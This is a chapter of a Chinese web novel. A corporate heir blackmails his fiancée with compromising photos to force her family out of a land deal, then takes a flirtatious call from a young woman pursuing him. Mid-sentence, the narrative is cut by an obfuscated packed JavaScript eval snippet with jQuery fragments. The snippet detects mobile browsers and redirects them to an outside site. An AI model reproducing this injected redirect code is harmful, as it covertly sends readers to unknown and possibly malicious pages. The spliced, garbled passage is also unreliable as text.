深城文华酒店顶层,总统套房内。
段洲庭坐在客厅沙发上,他一手夹着根燃起的烟,修长手指点了点烟身,烟灰簌簌落下,另一手举着的手机往上移了移。
“不算是。”
电话那头小姑娘轻嗯了一声又追问道:“那你以后会跟她结婚吗?”
酒店落地窗前的窗帘被拉开,这里是整座深城的最核心区域,站在顶楼甚至能俯瞰整片内海。
段洲庭瞧了一眼窗外的车水马龙,应声,“也许吧。”
对面的人并没有遗憾的意思,反而轻笑一声祝福,“那提前恭喜你们了。”
指尖的烟燃尽,段洲庭躬身将烟蒂掐灭在大理石桌面上的烟灰缸里。
他声音中夹着点不易察觉的促狭,点破对方的心思。
“你这祝福,不算诚心。”
挂了电话,助理陈唐敲门进来,和他一起进来的还有提前打了招呼说会过来的霍嫣然。
看得出来,霍嫣然精心打扮过一番,贴身的包臀丝绒长裙,恰到好处的卷发弧度以及精致的妆容,无不彰显着她对今晚会面的看重。
“阿洲,在和谁打电话呢?叫我在门口等了这么久。”
房间的厚重大门自动关上,落锁声响起。
段洲庭慵懒地靠在沙发背上,吊顶的暖黄光圈为他漂亮的五官镀上金边。
他眼都未抬,单手整理衬衫顶端的纽扣,语气平平却暗含迫人的气息。
“霍小姐,我不太喜欢别人打听我的私事。”
霍嫣然脸色有一瞬间的僵住,不过一刻,她又重新堆叠上笑脸,“阿洲,我们之间,不算外人的。”
说着,她在旁边沙发落座,从新款爱马仕包包里拿出一份整理好的文件,“阿洲,这次能拿下城南的项目,对我们两家而言都是好事,不过段氏根基到底在深城,不如……”
霍嫣然小心翼翼地观察着旁边男人的神色,试探开口,“不如我们将投资占股重新分配一下,总归是我们两家的生意,谁也吃不了亏,霍家占股大一些,要是深城这边有什么状况,我们也好处理。”
文件被放在面前的桌上,段洲庭依旧还是那个姿势,深邃的眉眼漫不经心地朝着霍嫣然压过来,透着几分森寒。
偏他语气中还带着笑,他反问:“霍家这是准备卸磨杀驴?”
霍嫣然一愣。
段家和霍家的联姻是段洲庭的父亲段鸿声一力促成,段鸿声作为段家掌权人,年少时娶了沈家独女沈清,哪怕说一句段沈两家都是他的囊中之物也不为过。
整个京北城内,他便是天。
但俗话说得好,强龙不压地头蛇,段鸿声虽然在京北城要风得风,要雨得雨,但深城的生意他总心有余而力不足,很难去分一杯羹。
因此,他看上了根基深厚的深城霍家。
只要段家和霍家联姻,段家就可以借着霍家成功入主深城。
为了这个目的,霍家实力虽和段家相差甚远,但段鸿声依旧不遗余力地费时费力托举着霍家。
这次深城城南的项目,就是段家往深城渗透的一个开始。
外人都道是霍家和段家一起拿下了项目,可只有霍家自己有苦说不出。
段家独占大头,段洲庭本人又手段毒辣,霍家根本就没有任何话语权。
重新分配占比,是霍家以帮助段家往深城发展提出的要求。
来之前,霍嫣然觉得段洲庭没有理由会拒绝。
段家不差这点营收。
可段洲庭忽然一句反问,叫霍嫣然没了自信。
她维持着表面的得体,陪着笑道:“阿洲,以后我们都是一家人,霍家好,也是段家好。”
段洲庭没说话,眉眼压低,似乎是在思考。
“阿洲?”霍嫣然忐忑地叫他。
下一秒段洲庭抬眸扫过来,他勾了勾唇,说了一句,“重新分配股权?”
霍嫣然一听这话,喜上眉梢,“对。”
“可以。”段洲庭抬起右手示意了一下,李唐立刻从公文包里拿出份新的合同。
段洲庭下巴朝桌上的合同点了点,沉声道:“那我的建议是,霍家撤资。”
“你说什么?”霍嫣然以为自己听错了,不可置信地扬高声线。
男人紧绷着下颌,起身居高临下地盯着霍嫣然一字一句道:“这块地,我要独占。”
撤资?
霍嫣然慌乱地起身,即使穿了十公分的恨天高,站在段洲庭面前,依旧比他矮上一个头。
“段洲庭,你胃口也太大了!”
“是吗?”段洲庭走到沙发后面,两臂绷起,撑着沙发靠背,慢条斯理道:“抱歉霍小姐,我只是觉得,我父亲的方式太慢了。”
视线再次看过去,霍嫣然感觉一向人人夸赞的温润公子此刻像条吐着蛇信的毒蛇。
他说:“我这人,想要什么就要立马得到,否则。”
又笑了笑,“寝食难安啊。”
霍嫣然深知他这番话代表什么。
合同是早就理好的,她原本还想着能够凭借这份联姻的关系以及自己在深城的根基叫段洲庭让点利,没想到这人早就预备要将他们直接踢出局。
就连段鸿声那样的老狐狸想要往深城发展,都讲究一个温水煮青蛙,不急不躁。
段洲庭竟然想要一步到位。
在他心里,恐怕霍家从不是什么盟友,而是他段洲庭的踏脚石!
多恐怖的狼子野心。
霍嫣然再也维持不住面上的风光,她指着合同怒道:“我绝不同意!段总想要一口吃成个胖子,也不考虑自己会不会被噎死?”
段洲庭似乎是听到了极好笑的笑话,他又伸手示意,李唐再次从公文包里翻出个文件袋。
啪——
文件袋被段洲庭扔在新合同上。
“这是什么?”霍嫣然目光顺着看过去。
“打开看看吧,霍小姐。”
霍嫣然伸手拿过文件袋,解开缠线,从里面摸出一叠照片来。
在视线碰触到照片的那一秒,她瞳孔骤然紧缩,整张脸唰的一下白了下去。
“这……这……”
她又快又乱的翻阅着每一张照片,上面年轻男人和她姿势暧昧,拥吻在街头。
照片最下面是一张个人资料。
“这不可能,不可能!”
霍嫣然疯狂地叫嚣着,明明她已经把这些东西买断了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363288|183795||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,根本不可能流出去。
段洲庭怎么会?
“你从哪里来的照片?”霍嫣然花容失色,原本打理整齐的卷发也开始乱糟糟的。
段洲庭撑起身体,眉眼倦怠,他提醒,“霍小姐,我没有那么多功夫,安静签完合同,你的女明星事业,霍家打着段家旗号在外的那些生意,包括我父亲每年的巨额投资,我都可以不计较。”
说着他还补充了一句,“当然,你也可以继续你美丽的爱情。”
霍嫣然整个人都在发抖,脑袋里一片轰鸣,她几乎失去了思考能力,但最后的理智还是叫她留下最后一个念头。
段家和霍家的联姻绝不能断!
“好,我签,但希望段总说话算话,我们之间的联姻可是两家之间的事,你……”
“我想区区霍家应该还没有和我段洲庭谈条件的资格。”段洲庭直接打断她,转过身去,“李唐,签完送霍小姐离开。”
——
月初的时候,文修系在京博的大课正式开始。
齐教授带队,系里的几位老教授辅助,圆满完成了这节来之不易的大课。
当天结束,齐教授叫住鹤枝,对她道:“这次京博的借调虽然是沈老点头,但其中调度事宜,阿洲出了不少力,我下周要出国交流,既然你和阿洲认识,就帮我请阿洲吃顿饭,也是我们文修院的心意。”
鹤枝当然应下,“好,齐教授放心。”
晚上的时候,鹤枝给段洲庭去了电话。
电话先是被挂断,五分钟后,对方重新拨回来。
还是那副敲金击玉的好嗓子。
“鹤枝?”
鹤枝笑着打趣他,“还以为不准备接我电话了。”
“刚刚在开会。”他解释。
鹤枝一愣,“还没回京市吗?”
“还需要几天,找我有什么事吗?”
“没什么,就是齐教授给了任务,说为了感谢你对文修系的付出,叫我代表文修系请你吃饭。”
电话那头沉默一瞬,“齐老不用这么客气。”
鹤枝被他直接拒绝,也就懒得再装模作样。
“其实是我夹带私货,我先前还在想着你我之间,我要以什么理由才能去见你。”
“而且你还总拒绝我。”鹤枝顿了顿,问道:“段先生你知道不知道?”
“什么?”
“你真的很难追。”
那头很静,静到鹤枝能听清段洲庭每一次起伏的呼吸声。
沉吟片刻,段洲庭没有回答鹤枝的那句话,而是发出了结束电话的讯号,“吃饭的事,我回来会安排。”
“我等下还有事。”
失落感扑面而来,鹤枝总觉得她的许多努力在段洲庭身上好像都没起什么作用。
叹了口气,她听见自己说。
“可是段洲庭,我很想见你。”
段洲庭那边似乎有人催促了一句。
“段总,会议要继续吗?”
段洲庭轻嗯一声,回复鹤枝。
“那让我看看你的诚意。”
“什么?”
“你到底有多想见我。”段洲庭挂断电话前的最后一句,“我很期待。”